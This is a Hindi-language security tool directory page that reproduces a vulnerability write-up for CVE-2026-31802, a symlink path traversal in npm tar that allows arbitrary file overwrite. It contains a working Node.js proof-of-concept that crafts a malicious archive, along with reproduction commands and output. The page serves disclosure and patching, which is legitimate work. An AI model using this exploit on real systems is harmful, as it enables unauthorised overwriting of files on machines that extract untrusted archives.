Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jvr2022/cve-2026-31802
भेद्यता विश्लेषणशोषणवेब सुरक्षाआपूर्ति श्रृंखला सुरक्षा
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

CVE-2026-31802 के लिए प्रमाण-अवधारणा और तकनीकी विवरण, npm tar में एक सिमलिंक पाथ ट्रैवर्सल जो निष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल अधिलेखन की अनुमति देता है।

रिपॉजिटरी देखें
1156 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-31802: tar सिमलिंक पाथ ट्रैवर्सल / मनमाना फ़ाइल ओवरराइट

शोध: Joshua van Rijswijk

विवरण

इस रिपॉजिटरी में CVE-2026-31802 के लिए मेरा प्रूफ ऑफ कॉन्सेप्ट और राइट-अप शामिल है, जो npm tar पैकेज (node-tar) में एक उच्च-गंभीरता वाली भेद्यता है, जो संस्करण <= 7.5.10 को प्रभावित करती है।

मैंने पाया कि tar को C:../../../target.txt जैसे ड्राइव-रिलेटिव सिमलिंक टारगेट का उपयोग करके इच्छित निष्कर्षण निर्देशिका के बाहर इंगित करने वाला सिमलिंक बनाने के लिए धोखा दिया जा सकता है। व्यवहार में, यह निष्कर्षण के दौरान cwd से बाहर निकलना संभव बनाता है और आर्काइव निष्कर्षण को मनमाना फ़ाइल ओवरराइट प्रिमिटिव में बदल देता है।

यह बग हमलावर-नियंत्रित tar आर्काइव के साथ सामान्य निष्कर्षण व्यवहार के माध्यम से पहुंच योग्य है।

पृष्ठभूमि

tar द्वारा सिमलिंक निष्कर्षण को कैसे संभाला जाता है, यह देखते समय मैंने देखा कि कुछ linkpath मानों को सैनिटाइज़ेशन और वैलिडेशन के दौरान असंगत रूप से संभाला गया था। विशेष रूप से, ऐसे ड्राइव-रिलेटिव पाथ:

root@kitploit:~
C:../../../target.txt

उपयोग से पहले फिर से लिखे गए, लेकिन उसी रूप में मान्य नहीं किए गए जिस रूप में उन्हें अंततः संग्रहीत और लागू किया गया था।

यही बेमेल बग को शोषण योग्य बनाता है।

मूल कारण

यह भेद्यता इस बात से आती है कि tar निष्कर्षण के दौरान निर्मित सिमलिंक linkpath मानों को कैसे संसाधित करता है।

उच्च स्तर पर, निष्कर्षण तर्क इस तरह के पाथ से ड्राइव उपसर्ग को हटा देता है:

root@kitploit:~
C:../../../target.txt

और इसे फिर से लिखता है:

root@kitploit:~
../../../target.txt

हालाँकि, ट्रैवर्सल सुरक्षा जाँच मूल प्री-स्ट्रिप्ड मान के विरुद्ध की जाती है, जबकि सिमलिंक निर्माण बाद में फिर से लिखे गए मान का उपयोग करता है।

इसका मतलब है कि एक दुर्भावनापूर्ण आर्काइव पाथ के एक रूप का उपयोग करके वैलिडेशन पास कर सकता है, लेकिन फिर भी डिस्क पर लिखे जाने पर निष्कर्षण निर्देशिका के बाहर ट्रैवर्स करने वाला सिमलिंक उत्पन्न कर सकता है।

शोषण प्रवाह

एक दुर्भावनापूर्ण आर्काइव में इस तरह की सिमलिंक प्रविष्टि हो सकती है:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

जब इस तरह के सामान्य उपयोग से निकाला जाता है:

root@kitploit:~
tar.x({ cwd, file })

निम्नलिखित होता है:

  1. ड्राइव उपसर्ग linkpath से हटा दिया जाता है।
  2. एस्केप जाँच अभी भी मूल मान का मूल्यांकन करती है।
  3. प्रविष्टि स्वीकार कर ली जाती है।
  4. निकाला गया सिमलिंक फिर से लिखे गए ट्रैवर्सल पाथ के साथ बनाया जाता है।
  5. उस सिमलिंक के माध्यम से बाद में लिखना cwd के बाहर की फ़ाइल तक पहुँचता है।

दूसरे शब्दों में, निष्कर्षण तर्क एक मान को मान्य करता है और दूसरे का उपयोग करता है। यह अंतर ट्रैवर्सल प्रिमिटिव बनाता है।

प्रूफ ऑफ कॉन्सेप्ट

मैंने यह प्रदर्शित करने के लिए निम्नलिखित PoC लिखा है कि एक निकाला गया सिमलिंक निष्कर्षण रूट के बाहर इंगित करने के लिए बनाया जा सकता है और फिर कार्यशील निर्देशिका के बाहर की फ़ाइल को ओवरराइट करने के लिए उपयोग किया जा सकता है।

PoC:

  • ../target.txt बनाता है
  • a/b/l पर सिमलिंक प्रविष्टि के साथ एक दुर्भावनापूर्ण tar आर्काइव बनाता है
  • linkpath को C:../../../target.txt पर सेट करता है
  • आर्काइव को वर्तमान निर्देशिका में निकालता है
  • a/b/l के माध्यम से लिखता है
  • पुष्टि करता है कि बाहरी फ़ाइल ओवरराइट हो गई थी

PoC स्क्रिप्ट:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

पुनरुत्पादन

एक भेद्य संस्करण स्थापित करें

root@kitploit:~
npm install [email protected]

PoC चलाएँ

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

देखा गया आउटपुट

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED पुष्टि करता है कि निष्कर्षण निर्देशिका के बाहर की फ़ाइल ओवरराइट हो गई थी।

readlink आउटपुट और फ़ाइल सूची दिखाते हैं कि निकाला गया सिमलिंक इच्छित निष्कर्षण रूट के बाहर इंगित करता है।

प्रभाव

यह समस्या हमलावर को इच्छित निष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल ओवरराइट प्रिमिटिव देती है, जो निष्कर्षण करने वाली प्रक्रिया की अनुमतियों के साथ होती है।

यथार्थवादी परिदृश्यों में शामिल हैं:

  • CLI उपकरण जो अविश्वसनीय tarball को कार्यशील निर्देशिका में निकालते हैं
  • बिल्ड और अपडेट पाइपलाइन जो तृतीय-पक्ष आर्काइव का उपभोग करती हैं
  • सेवाएँ जो उपयोगकर्ता-आपूर्ति की गई tar फ़ाइलें आयात करती हैं
  • डेवलपर उपकरण जो स्वचालित रूप से बंडल या आर्टिफैक्ट अनपैक करते हैं

उन वातावरणों में, एक निर्मित आर्काइव उस निर्देशिका के बाहर लिखने का कारण बन सकता है जिसे एप्लिकेशन नियंत्रित करने की अपेक्षा करता है।

प्रभावित संस्करण

  • प्रभावित: tar <= 7.5.10
  • पैच किया गया: tar 7.5.11

फिक्स

यह समस्या 7.5.11 में पैच की गई थी।

उपयोगकर्ताओं को तुरंत अपग्रेड करना चाहिए:

root@kitploit:~
npm install tar@^7.5.11

संदर्भ

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
टूल डाउनलोड करें